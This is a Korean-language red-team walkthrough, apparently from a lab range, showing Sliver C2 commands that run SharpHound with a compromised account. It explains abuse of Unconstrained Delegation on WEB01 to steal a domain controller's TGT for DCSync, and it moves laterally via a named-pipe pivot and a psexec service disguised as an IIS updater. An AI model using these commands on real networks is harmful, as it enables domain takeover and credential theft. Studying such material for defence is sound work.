장악한 Rahat.Kuma 유저를 이용해 USWKSTN01에서 다시 한 번 블러드하운드를 실행한다.
sliver (TOUGH_BREADCRUMB) > inline-execute-assembly /root/funtimes.exe "-c All,Session --forcesecureldap --zipfilename
crashdump2 --zippassword test --distinguishedname DC=us,DC=rt,DC=local"
2025-01-19T19:18:48.9070479+09:00|INFORMATION|Status: 621 objects finished (+621 31.05)/s -- Using 133 MB RAM
2025-01-19T19:18:48.9070479+09:00|INFORMATION|Enumeration finished in 00:00:20.7194148
2025-01-19T19:18:48.9502136+09:00|INFORMATION|Saving cache with stats: 33 ID to type mappings.
7 name to SID mappings.
4 machine sid mappings.
10 sid to domain mappings.
1 global catalog mappings.
2025-01-19T19:18:48.9693593+09:00|INFORMATION|SharpHound Enumeration Completed at 7:18 PM on 1/19/2025! Happy Graphing!
[+] inlineExecute-Assembly Finished
확인해보면 Rahat.Kuma가 ITAdmins 그룹 소속이고, 이 그룹은 거의 모든 서버에 로컬 관리자 권한을 갖고 있다. 그 중 WEB01 서버에는 Unconstrained Delegation 설정이 되어 있다. Unconstrained Delegation은 설계상 커버로스 6단계 인증 중 유저의 TGT를 받아올 수 있다.
유저가 Unconstrained Delegation 설정되어 있는 서버에 TGS-REQ을 통해 서비스 티켓을 요청할 때, 이 요청을 받은 도메인 컨트롤러는 TGS-REQ안의 SPN을 본 뒤, Unconstrained Delegation 설정되어 있는 서버라는 것을 확인 한뒤, 서비스 티켓을 발급할 때 유저의 TGT를 ST안에 넣어서 돌려준다. 이 TGT는 추후 Unconstrained Delegation 서버가 위임을 할 때 사용한다.
Unconstrained Delegation을 악용하는 방법에는 여러가지가 있지만, 강제 인증(Authentication Coercion)을 이용한 도메인 컨트롤러의 머신 계정 TGT를 훔쳐오는 방법이 가장 효과적이다. 바로 DC의 TGT를 이용해 DCSync를 진행할 수 있기 때문이다.
먼저 WEB01으로 횡적 이동을 한다. WEB01은 웹 서버 특성상 Outbound 웹 트래픽이 가능할 수 있겠지만, 그래도 서버들 간의 SMB 트래픽에 숨어들기 위해 Named Pipe + SMB로 이동한다.
sliver (TOUGH_BREADCRUMB) > pivots named-pipe --bind mojo.10968.11628.5896583801798593584 --allow-all
[*] Started named pipe pivot listener \\.\pipe\mojo.10968.11628.5896583801798593584 with id 2
sliver (TOUGH_BREADCRUMB) > profiles new --format service -p 10.2.30.100/pipe/mojo.10968.11628.5896583801798593584 uswkstn01-web01
[*] Saved new implant profile uswkstn01-web01
sliver (TOUGH_BREADCRUMB) > psexec -t 30 -p uswkstn01-web01 -s IIS-OnlineUpdater -d "Update IIS service without restart" web01.us.rt.local
[*] No builds found for profile uswkstn01-web01, generating a new one
[*] Sliver name for profile uswkstn01-web01: MULTIPLE_REPUTATION
[*] Uploaded service binary to \\web01.us.rt.local\C$\windows\temp\b0_publicity_c.exe
[*] Waiting a bit for the file to be analyzed ...
[*] Successfully started service on web01.us.rt.local (c:\windows\temp\b0_publicity_c.exe)
[*] Session 3730afb5 MULTIPLE_REPUTATION - tcp(127.0.0.1:50290)->2a06:98c0:3600::103->TOUGH_BREADCRUMB-> (web01) - windows/amd64 - Sun, 19 Jan 2025 10:48:17 UTC
[*] Successfully removed service IIS-OnlineUpdater on web01.us.rt.local
TGT 덤핑은 대부분 Rubeus monitor + 강제 인증으로 진행하는데, 안타깝게도 Sliver에서 Rubeus monitor 명령어를 돌리면 버그로 인해 해당 작업이 끝나지 않는 경우가 생긴다. 이런 경우에는 강제 인증을 먼저 진행하고, 곧바로 10~20초 내에 바로 rubeus dump 명령어를 통해 덤프한다.